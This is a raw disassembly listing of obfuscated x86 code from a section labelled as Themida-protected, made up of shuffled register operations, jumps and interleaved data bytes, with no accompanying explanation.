mov esp, [esp] mov [esp], ebp push 735Ah mov [esp], edi mov ebp, [esp] add esp, 4 pop edi xor eax, ebp xor ebp, eax jmp loc_55DA6C ; --------------------------------------------------------------------------- dw 0CE29h dd 6ED6C681h, 0C8B48E6h, 4C48124h, 81000000h, 773F57EEh dd 0B6C68137h, 0E901D52Dh, 0FFFFEDAFh, 4C481h, 6C2D0000h dd 0E91B2322h, 8A59h, 688734FFh, 6175h, 0B8240489h, 515A292Bh dd 4244429h, 24048B58h, 4C481h, 0EC810000h, 4, 1814E9h dd 24248B00h, 240C8966h, 0FFA7D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55802D: ; CODE XREF: Themida_:00558F78j xor esi, [esp] xor [esp], esi push esi jmp loc_554D16 ; --------------------------------------------------------------------------- loc_558039: ; CODE XREF: Themida_:0055A97Dj shl ecx, 1 add ecx, 700720B2h dec ecx add ecx, 76AC6057h jmp loc_55EC63 ; --------------------------------------------------------------------------- db 80h, 0C3h, 0D9h dd 0E9FAC380h, 380Fh ; --------------------------------------------------------------------------- loc_558058: ; CODE XREF: Themida_:0055BAEFj movzx eax, al push ebx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebx push 2Eh jmp loc_561B08 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 1016E9h, 0EE805800h, 0E9CE0057h, 0B703h, 8BC6215Bh dd 89562404h, 0B7E951E6h, 87000085h, 815C2434h, 6A656BF6h dd 6EEC124h, 0B982EE81h, 11E901B1h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5580AF: ; CODE XREF: Themida_:00564AAFj push 66B4h mov [esp], ebp push esi push 686B5097h pop esi jmp loc_56364D ; --------------------------------------------------------------------------- db 52h dd 8EB05066h, 5866C288h, 8E91CB1h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5580D3: ; CODE XREF: Themida_:005636DDj pop eax pop edx sub ecx, 7D297D29h jmp loc_55CB31 ; --------------------------------------------------------------------------- aTyhg db 'TYhG;',0 dw 8900h dd 0C5682414h, 89000056h, 0AFE9241Ch db 0EFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5580F7: ; CODE XREF: Themida_:00567C01j add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] and eax, ebx jmp loc_55B2E2 ; --------------------------------------------------------------------------- dd 0AA268h, 24048900h, 14C4BB53h, 0F6B8273Bh, 51CE357h dd 6DC62CC9h, 0C92DD801h, 0E96DC62Ch, 7F1Bh, 1C8BF800h dd 4C48324h, 4EC81h, 14890000h, 0ED38E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55814A: ; CODE XREF: Themida_:0055EA6Cj xchg edi, [esp] mov esp, [esp] jmp loc_558C9C ; --------------------------------------------------------------------------- db 68h, 69h, 0BCh dd 1FE91580h, 5FFFFFDCh, 555BDE29h, 254545BDh, 3D88E92Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55816E: ; CODE XREF: Themida_:00567BA3j push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_553053 ; --------------------------------------------------------------------------- loc_558186: ; CODE XREF: Themida_:00556E4Ej push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp loc_55818F: ; CODE XREF: Themida_:0055DB75j push esi push esp jmp loc_55A6EB ; --------------------------------------------------------------------------- loc_558196: ; CODE XREF: Themida_:0055A3EDj sub edi, ebp pop ebp push ebp mov ebp, 29780347h sub edi, ebp jmp loc_560851 ; --------------------------------------------------------------------------- dw 0C729h dd 0A0EF8158h, 0E9FE5738h, 5301h ; --------------------------------------------------------------------------- loc_5581B4: ; CODE XREF: Themida_:005677B0j mov ebp, [esp] jmp loc_555DDE ; --------------------------------------------------------------------------- dd 5E08950h, 4, 405h, 24048700h, 0CB66E9h, 0C1814100h dd 28CB10BAh, 0FFEFB9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5581DD: ; CODE XREF: Themida_:005673A5j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5552BC ; --------------------------------------------------------------------------- aBiow db 'ëOw',0 dd 2434FF4Eh, 4C4815Fh, 29000000h, 21B951C3h, 816A0078h dd 777707F1h, 28C38142h, 0E96F1047h, 0FFFFEFC8h, 8904EC83h dd 9CBF243Ch, 31431C3Dh, 0ED815FFBh, 53C019DAh, 24C0C581h dd 0DD291BDAh, 4D48B951h, 0D1F711BEh, 41D5E9h db 0 ; --------------------------------------------------------------------------- loc_558245: ; CODE XREF: Themida_:00566740j add edi, 0FFFFFFFFh sub edi, 3930D509h sub eax, edi pop edi pop ecx jmp loc_55E3E6 ; --------------------------------------------------------------------------- dw 0C31h dd 240C3324h, 47DFE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_558266: ; CODE XREF: Themida_:00556434j pop edx xor esi, 333A034Ah xor esi, 58861222h add eax, esi pop esi jmp loc_5598A9 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4C38100h, 0E9000000h, 0FFFFE3F0h ; --------------------------------------------------------------------------- loc_55828C: ; CODE XREF: Themida_:0055B176j add ebx, edi add ebx, 57075B12h sub ebx, 744923F3h add [ebx], edx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 push dword ptr [esp] pop edx push edx mov edx, esp jmp loc_55CA29 ; --------------------------------------------------------------------------- db 5Ch dd 8DEEC80h, 2434FFE1h, 8324048Bh, 0C48104C4h, 4, 1D3D68h dd 241C8900h, 38E9F7B7h, 0BE0000E4h, 1A2F7B78h, 26DC681h dd 0AE90B8Ah db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5582EB: ; CODE XREF: Themida_:0055D700j mov eax, [esp] add esp, 4 sub ebp, eax pop eax push ebp jmp loc_553C14 ; --------------------------------------------------------------------------- loc_5582FA: ; CODE XREF: Themida_:0055ED80j xor ebp, ecx pop ecx jmp loc_56300F ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 24041166h, 0A4ECE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558312: ; CODE XREF: Themida_:00555D48j add [esp+8], ecx sub dword ptr [esp+8], 3A4C7FA3h jmp loc_55B9F1 ; --------------------------------------------------------------------------- db 81h dd 0F7B34BC7h, 5FFE89B0h, 835EF301h, 1DE904ECh db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558337: ; CODE XREF: Themida_:00553721j push dword ptr [esp] pop eax add esp, 4 push 435Eh mov [esp], edx jmp loc_55A4E9 ; --------------------------------------------------------------------------- loc_55834B: ; CODE XREF: Themida_:00566A54j mov eax, ecx push dword ptr [esp] pop ecx add esp, 4 xor [esp+4], eax jmp loc_556B0D ; --------------------------------------------------------------------------- db 89h, 0F8h, 0E9h dd 6796h, 24348B54h, 81E38953h, 4C3h, 0B8685100h, 5938BB2Dh dd 4DE2E9h db 0 ; --------------------------------------------------------------------------- loc_55837D: ; CODE XREF: Themida_:00554AC4j sub esp, 4 jmp loc_563AB0 ; --------------------------------------------------------------------------- db 68h, 29h, 74h dd 1C890000h, 0D80CE924h, 2C890000h, 0AABB5324h, 8975E909h dd 0CD315BDDh, 0CD31E931h, 6855D1F7h, 4860h, 8B240C89h dd 0C481242Ch, 4, 47F5E959h, 3BE90000h, 28FFFFA4h, 0E7B252D7h dd 5A5AD728h, 805BFA30h, 0D40412EAh, 0D000CF2Ch, 6AFAE9h dd 1E95400h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5583E3: ; CODE XREF: Themida_:0055D448j mov ebp, 60F9712Bh add ebp, 5C2114ABh xor eax, ebp pop ebp sub [edx+30h], eax mov eax, [esp] push edx jmp loc_55F300 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 57242C89h, 8C5C57BFh, 0C7A4BD2Ah, 0FD293BAAh, 49ED815Fh dd 1111E6Bh, 0C6815DEEh, 4, 5C243487h, 8904EC83h, 0BE56242Ch dd 194454CAh, 0EEC14646h, 5B80E902h, 34FF0000h, 240C8B24h dd 0D6ABE951h, 87580000h, 315C2434h, 0BCD9E9C3h, 0BB53FFFFh dd 40EE0415h, 515BD929h, 0E7301EB9h, 5909E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558466: ; CODE XREF: Themida_:00563BF4j and ebx, 41A543Eh inc ebx inc ebx push ebp mov ebp, 44A244BEh add ebp, 94F72F9h neg ebp jmp loc_55E2BA ; --------------------------------------------------------------------------- loc_558481: ; CODE XREF: Themida_:005647E8j mov esi, [esp] add esp, 4 sub edi, 0C0D7A43Bh sub eax, edi jmp loc_554187 ; --------------------------------------------------------------------------- dd 5704C483h, 93390EBFh, 26BE5679h, 90ED01Bh, 0BA525EF7h dd 13036B12h, 0DB04E9h, 0C4815900h, 4, 2BA968h, 240C8900h dd 4EC81h, 2C890000h, 609BBD24h, 6E68718Ch, 0FF9326E7h dd 83592434h, 266804C4h, 89000075h, 0FBBA2414h, 0C11AD87Eh dd 0F28108EAh, 6F70D570h, 0E95AD101h, 0BD48h, 5004C483h dd 0B268ADB8h, 0DBE98135h, 8114C36Eh, 6F094AC1h, 81C1010Ah dd 6F094AE9h, 0DBC1810Ah, 5814C36Eh, 0E981F101h, 35B268ADh dd 50D3E9h db 0 ; --------------------------------------------------------------------------- loc_558529: ; CODE XREF: Themida_:00552B80j xor ecx, esi mov esi, [esp] add esp, 4 jmp loc_5567E6 ; --------------------------------------------------------------------------- dw 515Dh dd 5172BE56h, 0ACB96661h, 29E2026Ah, 31E95EF1h, 5D000001h dd 4C481h, 0D6F70000h, 0E724E9h, 0F7295D00h, 5FFA895Eh dd 95E9D631h db 0CCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558567: ; CODE XREF: Themida_:00563FB9j push small 0D82h mov [esp], cx push edx mov dh, 2Eh and dh, 0A6h add dh, 0FFh inc dh sub dh, 0EDh push bx mov bh, 46h add dh, bh jmp loc_5632C7 ; --------------------------------------------------------------------------- dd 0AE7206BBh, 0E0C2811Ch, 292C3014h, 5F77E9DAh, 57590000h dd 0C781E789h, 4, 8704C783h, 305C243Ch, 0EC815AF0h, 2 dd 0FFA847E9h db 0FFh ; --------------------------------------------------------------------------- loc_5585B9: ; CODE XREF: Themida_:00557F1Dj push 449Eh jmp loc_559C85 ; --------------------------------------------------------------------------- loc_5585C3: ; CODE XREF: Themida_:0055F076j mov esp, [esp] push ecx push 5177h mov [esp], esp push eax mov eax, 4 add [esp+4], eax mov eax, [esp] add esp, 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_567BE8 ; --------------------------------------------------------------------------- dd 8108EDC1h, 3242E2E5h, 8EED811Fh, 0E98A81EEh, 0CD67h dd 7B0BBB53h, 0DB2D3229h, 29383828h, 28DB05D8h, 1C8B3838h dd 1EE8E924h, 0E3800000h, 3E3C049h, 3CD6E950h, 81450000h dd 3F5851CDh, 0AFED815Fh, 0E96A253Ah, 0FFFFDC33h, 5B2434FFh dd 5E08950h, 4, 8704C083h, 835C2404h, 348904ECh, 3311E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55865A: ; CODE XREF: Themida_:00555A61j add [esp+4], eax jmp loc_55B0EE ; --------------------------------------------------------------------------- loc_558663: ; CODE XREF: Themida_:005547C2j push edx mov edx, esp add edx, 4 jmp loc_562E22 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 0E9240431h, 3408h, 8244C29h, 0CC6FE9h, 0DA015F00h, 59B7C281h dd 0C2812C9Dh, 1AA45B89h, 5B5A2A88h, 9E74E9h, 0EE895E00h dd 51CFE9h db 0 ; --------------------------------------------------------------------------- loc_5586A5: ; CODE XREF: Themida_:00556B10j add esp, 4 jmp loc_561743 ; --------------------------------------------------------------------------- db 5Bh, 87h, 4 dd 24248B24h, 8157E9F7h, 4ECh, 24248900h, 7826E956h, 0EC830000h dd 24048904h, 656592B8h, 8E8C110h, 0FD668h, 243C8900h dd 3898E9h, 0E9595400h, 7D58h, 7D07E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5586EE: ; CODE XREF: Themida_:0055A6FAj pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push 7B3Fh mov [esp], ebx jmp loc_564A67 ; --------------------------------------------------------------------------- db 5Ch, 89h, 3Ch dd 236DBF24h, 0D0E91741h db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558713: ; CODE XREF: Themida_:00560B6Bj push ebx jmp loc_565AC7 ; --------------------------------------------------------------------------- loc_558719: ; CODE XREF: Themida_:00560662j push esi mov esi, 225A73FDh inc esi jmp loc_56384C ; --------------------------------------------------------------------------- db 0F6h, 0D6h, 0C0h dd 0F68006E6h, 5AF000D0h, 102CD800h, 5B2434FFh, 404C483h dd 51665B54h, 8827B353h, 0F3B8E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55874A: ; CODE XREF: Themida_:00562093j xor ebx, [esp] xor [esp], ebx jmp loc_563261 ; --------------------------------------------------------------------------- db 51h, 0B5h, 0DEh dd 0C006EDC0h, 0D5F602E5h, 0C0AAED80h, 0F58008E5h, 66C5B276h dd 0D6E95250h, 0FFFFFFC8h, 0E9582434h, 0ED0Dh, 0B2241489h dd 46C0449h, 2CD0003Dh, 8B6C2C3Dh, 0C4812414h, 4, 24148B66h dd 0E9E28952h, 8AABh ; --------------------------------------------------------------------------- loc_5587A0: ; CODE XREF: Themida_:00564C86j mov edx, 4 jmp loc_5620E4 ; --------------------------------------------------------------------------- dw 6852h dd 17F17F3Bh, 0C968425Ah, 0E900002Ch, 0FFFFEFECh, 2047B951h dd 9FB84BC4h, 1F54649h, 240C8BC8h, 81E28952h, 4C2h, 4C28100h dd 87000000h, 0E95C2414h, 0A538h, 4C281h, 0C2830000h, 24148704h dd 4B9515Ch, 1000000h, 240C8BCFh, 8104C483h, 4ECh, 24048900h dd 4B8h, 58C70100h, 6054E9h, 68E78900h, 34B0h, 0D1B1E9h dd 0E9FA3100h, 0B54Ah, 72427725h, 0BDBC050Ah, 0C28147AAh dd 63F166D8h, 0FFD0CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55883D: ; CODE XREF: Themida_:0055C7CCj push 1046595Eh mov ebp, [esp] add esp, 4 xor ebp, 0DF11FB3h jmp loc_55442E ; --------------------------------------------------------------------------- db 5Fh dd 4EC81h, 4890000h, 5137B824h, 60E903D9h, 0B3FFFFBEh dd 3EBC076h, 28DBE9h, 9F88E900h, 0F181FFFFh, 0E4EAF5A7h dd 0E959CB01h, 1E2Dh, 34184ABAh, 87C2810Fh, 0F70A8223h dd 0D6C281D2h, 8919B63Bh, 0EA015AD5h, 0FFAE18E9h, 4C481FFh dd 68000000h, 194Bh, 0BB241C89h, 16E61970h, 0B118E9h, 4C48100h dd 83000000h, 2C8904ECh, 1F67BD24h, 30E99D14h, 0BA0000DBh dd 7DB46E55h, 5E706853h, 0F75B317Fh, 5E3C1D3h, 0FFE7EDE9h dd 0D8285AFFh, 30E9FC2Ch db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5588EF: ; CODE XREF: Themida_:0055E2DAj mov eax, [esp] push ebp mov ebp, esp push ebx mov ebx, 3E2A6C8Fh push ecx mov ecx, 2E1D2A0Ah or ecx, 7F1B6DF3h add ecx, 0BF0AFC90h sub ebx, ecx pop ecx add ebp, ebx jmp loc_564719 ; --------------------------------------------------------------------------- db 0BEh dd 1F942740h, 243CF681h, 814E4367h, 643B25F6h, 5EF30148h dd 0FFC89EE9h, 8BF789FFh, 0C4812434h, 4, 0ABA0E947h, 0BB53FFFFh dd 39E9233Bh, 0F168E9h, 24048B00h, 8104C483h, 4C3h, 241C8700h dd 0FFBA6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_558961: ; CODE XREF: Themida_:005676BBj add esi, 4 xchg esi, [esp] pop esp jmp loc_56234E ; --------------------------------------------------------------------------- loc_55896D: ; CODE XREF: Themida_:00557C09j push 553h mov [esp], edx mov dl, 20h mov ch, dl pop edx push ecx inc byte ptr [esp+1] pop ecx inc ch xchg ah, ch inc ah xchg ah, ch add ch, 6Dh sub dh, ch push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esi push esp pop esi jmp loc_55FCE3 ; --------------------------------------------------------------------------- loc_5589A6: ; CODE XREF: Themida_:0055E523j xor eax, esi xor esi, eax xor eax, esi jmp loc_55A9E8 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 2AC9BE56h, 73BD01D4h, 31DE23EDh, 0E9295EF5h, 0E9CE015Dh dd 0D9Fh, 88CF8853h, 241C8BFAh, 4C481h, 0C8B0000h, 4C48324h dd 148BD588h, 0E0895024h, 0A2DBE9h db 0 ; --------------------------------------------------------------------------- loc_5589ED: ; CODE XREF: Themida_:0055E9D4j sub bl, al sub esp, 4 mov [esp], edx mov dl, 0AAh push 3006h jmp loc_562D5B ; --------------------------------------------------------------------------- aSH db ']éÜh',0 align 2 loc_558A0A: ; CODE XREF: Themida_:0055BE1Cj push dword ptr [esp] jmp loc_56340D ; --------------------------------------------------------------------------- dw 0C681h dd 307473C2h, 0EE81EE01h, 307473C2h, 0A7C5E95Dh, 2C870000h dd 47E95C24h, 8BFFFFA7h, 0B6E92424h, 8100008Eh, 0CF725FEBh dd 0DECFE964h, 6850FFFFh, 17BF6A0Ah, 0DDBA5258h, 8164137Dh dd 6229D8CAh, 6EA8115h, 21439154h, 0D12D5AD0h, 89CB10DBh dd 0DA2958C3h, 9041E95Bh, 0BF0000h, 89000000h, 0C3015FFBh dd 0BA52h, 0EA810000h, 1AA45B89h, 2EC6BF57h, 0D7F731B5h dd 0FFE9A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_558A91: ; CODE XREF: Themida_:00560D78j push dword ptr [eax] jmp loc_5527FE ; --------------------------------------------------------------------------- dd 2C58F505h, 0D40E904h, 0DF890000h, 0DFC2E95Bh, 48F0000h dd 4BB5324h, 1000000h, 8B04245Ch, 0EC83241Ch, 24348904h dd 0C681E689h, 4, 649E9h, 8652D00h, 940509E3h, 0E9789840h dd 32FFh, 0DBF7D3F7h, 50D6E9h db 0 ; --------------------------------------------------------------------------- loc_558AE5: ; CODE XREF: Themida_:0055C13Dj sub edi, 0D246DEC9h or ebx, edi pop edi inc ebx xchg edi, ebx jmp loc_557287 ; --------------------------------------------------------------------------- dw 0FB31h dd 5BDA015Fh, 0FFB432E9h, 0D830ACFFh, 510B68h, 240C8900h dd 0CD12E955h, 0C381FFFFh, 2, 8B241C87h, 24D22424h, 8FE99C24h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558B27: ; CODE XREF: Themida_:00552B36j not ecx sub esp, 4 mov [esp], edx mov edx, 1 jmp loc_562446 ; --------------------------------------------------------------------------- dd 51F80059h, 0D5DBE952h, 4890000h, 0C88EE924h, 0E2890000h dd 2DA7E9h, 48B6600h, 0A394E924h, 0C781FFFFh, 47251377h dd 6444EF81h, 0C7817228h, 32380E04h, 3115EA81h, 0FA295D64h dd 3115C281h, 2E95D64h, 68FFFFFBh, 2, 0FFD29EE9h db 0FFh ; --------------------------------------------------------------------------- loc_558B8D: ; CODE XREF: Themida_:0056417Dj pop edx jmp loc_5539C0 ; --------------------------------------------------------------------------- db 0BAh dd 64794EE6h, 5260E281h, 0F281429Ch, 2CA01461h, 8791E9h dd 9C50E900h, 2868FFFFh, 89000001h, 0F4E9241Ch, 81000041h dd 0E53F98F6h, 5EF72901h, 15FFB89h, 5C19E9DAh, 0AFBA0000h dd 0E90F6C2Bh, 2099h ; --------------------------------------------------------------------------- loc_558BD8: ; CODE XREF: Themida_:0055FC0Fj pop edi sub ebx, 0FFFFFFFFh jmp loc_560DDD ; --------------------------------------------------------------------------- dd 4C562E35h, 58C7297Dh, 0FFCBC5E9h db 0FFh ; --------------------------------------------------------------------------- loc_558BF1: ; CODE XREF: Themida_:0056004Aj push edi mov edi, esp push ebp mov ebp, 4 add edi, ebp pop ebp push ebp mov ebp, 4 sub edi, ebp pop ebp push edi jmp loc_55CA3C ; --------------------------------------------------------------------------- dd 0A86402BAh, 5AD5096Ch, 2414F755h, 0D3F1E9h db 0 ; --------------------------------------------------------------------------- loc_558C1D: ; CODE XREF: Themida_:00561352j add al, bl jmp loc_561BD4 ; --------------------------------------------------------------------------- dd 4EC8158h, 89000000h, 1EB62414h, 0F6EEC680h, 6DE680D6h dd 0C680DEF6h, 0EF4BE9BEh, 0F281FFFFh, 6EF7BBD1h, 815AD789h dd 1A1F18EBh, 0E9FB015Fh, 901Ch, 3B24248Bh, 9BE99CC8h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558C63: ; CODE XREF: Themida_:0055965Dj add edx, eax pop eax jmp loc_555FA8 ; --------------------------------------------------------------------------- loc_558C6B: ; CODE XREF: Themida_:0056745Cj push ebp mov ebp, 58F83511h not ebp shr ebp, 2 jmp loc_560F11 ; --------------------------------------------------------------------------- loc_558C7B: ; CODE XREF: Themida_:00555247j mov eax, [esp] jmp loc_561303 ; --------------------------------------------------------------------------- db 0F7h dd 867405D0h, 0C101EBF8h, 2434FF58h, 4C4815Bh, 0E9000000h dd 7DE2h ; --------------------------------------------------------------------------- loc_558C9C: ; CODE XREF: Themida_:00558150j pop dword ptr [esp] pop esp jmp loc_555642 ; --------------------------------------------------------------------------- loc_558CA5: ; CODE XREF: Themida_:0055E2F1j push esi mov esi, esp jmp loc_56566B ; --------------------------------------------------------------------------- loc_558CAD: ; CODE XREF: Themida_:00558D75j sub al, dh mov edx, [esp] jmp loc_55E9CB ; --------------------------------------------------------------------------- loc_558CB7: ; CODE XREF: Themida_:00552C07j mov al, 3Dh jmp loc_56582C ; --------------------------------------------------------------------------- aIcsz db '‰çé‡Ú',0 dd 58C18900h, 18A868h, 242C8900h, 0F05F1DBDh, 5C5B2D74h dd 0E80134CFh, 0CF5C5B05h, 6681E934h, 0C6830000h, 24348704h dd 3547685Ch, 0C890000h, 53E18924h, 0D2400F68h, 0DBF75B76h dd 0FFE0A7E9h, 24248BFFh, 4AB0F66h, 0EBE99C24h, 50FFFF9Ah dd 6C685854h, 0E9000057h, 0AC30h, 62EF815Dh, 0E95CE52Dh dd 0BA0Bh ; --------------------------------------------------------------------------- loc_558D2C: ; CODE XREF: Themida_:0055E864j pop edx sub ch, 3Ch add ch, 50h xor dl, ch jmp loc_55DF9B ; --------------------------------------------------------------------------- loc_558D3A: ; CODE XREF: Themida_:00561937j add ebx, 31F42192h shr ebx, 8 not ebx jmp loc_5644A8 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 57A96850h, 2C890000h, 1BB06824h, 535D451Fh, 0E0E454BBh dd 76C581BAh, 113BD6Dh, 0A0C8E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558D72: ; CODE XREF: Themida_:0056324Aj xor dh, bl pop ebx jmp loc_558CAD ; --------------------------------------------------------------------------- dw 3481h dd 7F1C3C24h, 0F7815F33h, 337F1C3Ch, 0CDC4E959h, 48FFFFFh dd 24248B24h, 476C68h, 24248900h, 0FFEFBFE9h, 5BD800FFh dd 0E9506659h, 4CCh, 0E945D5F7h, 9B9Bh ; --------------------------------------------------------------------------- loc_558DB4: ; CODE XREF: Themida_:00565A30j pop esp push esi jmp loc_55FA33 ; --------------------------------------------------------------------------- db 81h dd 0CA7CF6C5h, 81C5293Fh, 0CA7CF6EDh, 24048B3Fh, 0E904C483h dd 0B0BEh, 80B7EF80h, 0E70061EFh, 0E961C780h, 4E60h, 53F80158h dd 0FFBDA1E9h db 0FFh ; --------------------------------------------------------------------------- loc_558DED: ; CODE XREF: Themida_:0055E680j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] movsx ecx, ax jmp loc_564C44 ; --------------------------------------------------------------------------- dd 4EC8158h, 0E9000000h, 0AE58h, 56C3015Dh, 0BB53E689h dd 3B9F5855h, 3D51E381h, 0F3813388h, 41BC2608h, 3E5DF381h dd 0EE817234h, 2D2359DBh, 0BA52DE01h, 2D2359DBh, 8B5AD601h dd 0C481241Ch, 4, 0FFB8DEE9h, 0CDC380FFh, 0EB80D328h, 5558E9CDh dd 0E0C10000h, 0BE564008h, 68853839h, 1F5FEE81h, 0C6816055h dd 18D37786h, 7CD5C681h, 0F031EE6Bh, 0E9C2315Eh, 3D5Eh dd 1D00B72Dh, 0BB5F050Eh, 0C601BE4Dh, 370BE958h, 81450000h dd 1EDh, 0DDBE5600h, 0E942E82Eh, 53B6h, 6234BA52h, 0D2F740B1h dd 6239C281h, 0D10140B1h, 0FFD28FE9h, 81E689FFh, 4C6h dd 4EE8100h, 33000000h, 34312434h, 24343324h, 240C895Ch dd 0F15C57B9h, 0BD3CE92Ch, 248BFFFFh, 991CE924h, 8150FFFFh dd 4ECh, 24248900h, 4240481h, 58000000h, 581968h, 240C8900h dd 0CC1638B9h, 81D9F76Fh, 0FFFFFFC1h, 814949FFh, 0C46CECE9h dd 0BB5BE90Fh, 3C89FFFFh, 568ABF24h, 0EC811CD8h, 4, 0B8240489h dd 496F70BBh, 11C3E9h db 0 ; --------------------------------------------------------------------------- loc_558F31: ; CODE XREF: Themida_:0055D2D6j mov [esp], esi pop dword ptr [edi+24h] push dword ptr [esp] mov esi, [esp] add esp, 4 push edi jmp loc_563549 ; --------------------------------------------------------------------------- loc_558F46: ; CODE XREF: Themida_:0056101Cj add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_561D27 ; --------------------------------------------------------------------------- db 2Dh dd 5E8B63A7h, 0A2F6E9h, 0E9815D00h, 0BE7607DDh, 766EDD2Dh dd 0CD2EE949h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558F72: ; CODE XREF: Themida_:0056406Bj mov [esp], ecx xor [esp], esi jmp loc_55802D ; --------------------------------------------------------------------------- db 0F6h, 0DDh, 80h dd 0EDC001C5h, 0DEC58005h, 767FE9h, 2434FF00h, 4EC8358h dd 54241489h, 369FE95Ah, 8F5D0000h, 0C5312404h, 0D6E9E831h dd 8B00003Bh, 0E9532404h, 0D3D7h, 575A6851h, 59E94DD4h dd 0F7000025h, 90C281DAh, 317F1A74h, 0C2F7E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558FCE: ; CODE XREF: Themida_:00566352j mov ebp, esp jmp loc_55F0A4 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 9C240CFFh, 0FF981DE9h, 3864B8FFh, 0C2813D85h, 39C14C1Bh dd 8BE9C229h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558FF3: ; CODE XREF: Themida_:0055F346j add esp, 4 and dh, 54h shl dh, 1 or dh, 0A2h jmp loc_557C01 ; --------------------------------------------------------------------------- dw 0E958h dd 0C606h, 6615EB80h, 0FED98851h, 66CB88C9h, 0C9B2E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55901E: ; CODE XREF: Themida_:00561D73j pop ebx push ebx jmp loc_564C7D ; --------------------------------------------------------------------------- loc_559025: ; CODE XREF: Themida_:00553104j xchg ebp, [esp] pop esp sub esp, 2 jmp loc_55B0E1 ; --------------------------------------------------------------------------- loc_559031: ; CODE XREF: Themida_:00563665j xor ebp, 5D52212Fh add ebp, 0D05080EFh sub esi, ebp mov ebp, [esp] jmp loc_5591CF ; --------------------------------------------------------------------------- db 83h dd 0F83004C4h, 0B0505B66h, 0ACEB8022h, 0C380C300h, 60FFE9ACh dd 0C5810000h, 0E5A902B3h, 15DEB01h, 16685BD9h, 89000008h dd 468243Ch, 5F000000h, 32F3E9h db 0 ; --------------------------------------------------------------------------- loc_55907D: ; CODE XREF: Themida_:0055D8AAj add eax, 25365C40h sub ebp, eax pop eax sub ebp, 0DF4F395h add ecx, ebp pop ebp jmp loc_564DDA ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 4C48124h, 68000000h, 5554h, 68242C89h, 7A24h dd 81242489h, 42404h, 815D0000h, 4ECh, 24148900h, 4BAh dd 3B27E900h, 0E95E0000h, 3CFCh, 52240489h, 793B1FBAh dd 5AD08966h, 49AA68h, 242C8900h, 0D736CE68h, 2B7CE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5590EE: ; CODE XREF: Themida_:0056383Fj not dword ptr [esp] pop ebx shr ebx, 6 push ebx not dword ptr [esp] pop ebx sub ebx, 1 sub esp, 4 jmp loc_55470D ; --------------------------------------------------------------------------- loc_559108: ; CODE XREF: Themida_:005577E4j add esi, ebp pop ebp add esi, 4 jmp loc_560BD1 ; --------------------------------------------------------------------------- dw 0C683h dd 24348704h, 2434FF5Ch, 4C4835Bh, 4BA52h, 0D3010000h dd 2CF0E9h db 0 ; --------------------------------------------------------------------------- loc_559131: ; CODE XREF: Themida_:005637D2j xor esi, edi push dword ptr [esp] jmp loc_555188 ; --------------------------------------------------------------------------- loc_55913B: ; CODE XREF: Themida_:0055BD71j push dword ptr [esp] jmp loc_563F6A ; --------------------------------------------------------------------------- loc_559143: ; CODE XREF: Themida_:0055B331j mov ecx, 4CC54A59h inc ecx sub ecx, 49B66157h neg ecx sub ecx, 0ACEF0F38h add eax, ecx pop ecx add eax, edi sub eax, 500207C5h push 2828h jmp loc_564C8B ; --------------------------------------------------------------------------- db 68h dd 2474h, 0BF243C89h, 4, 0FFE50DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55917D: ; CODE XREF: Themida_:00567916j push edi mov edi, 39AA379Bh dec edi jmp loc_5627A6 ; --------------------------------------------------------------------------- db 4Eh, 81h, 0C6h dd 86327CB9h, 815EF089h, 7B2E6CEBh, 81C30143h, 7B2E6CC3h dd 0BA525843h, 6E22756Fh, 1CC6E281h, 0C28168CDh, 40DD2913h dd 13C7EA81h, 0AEE94291h db 83h, 2 dup(0) 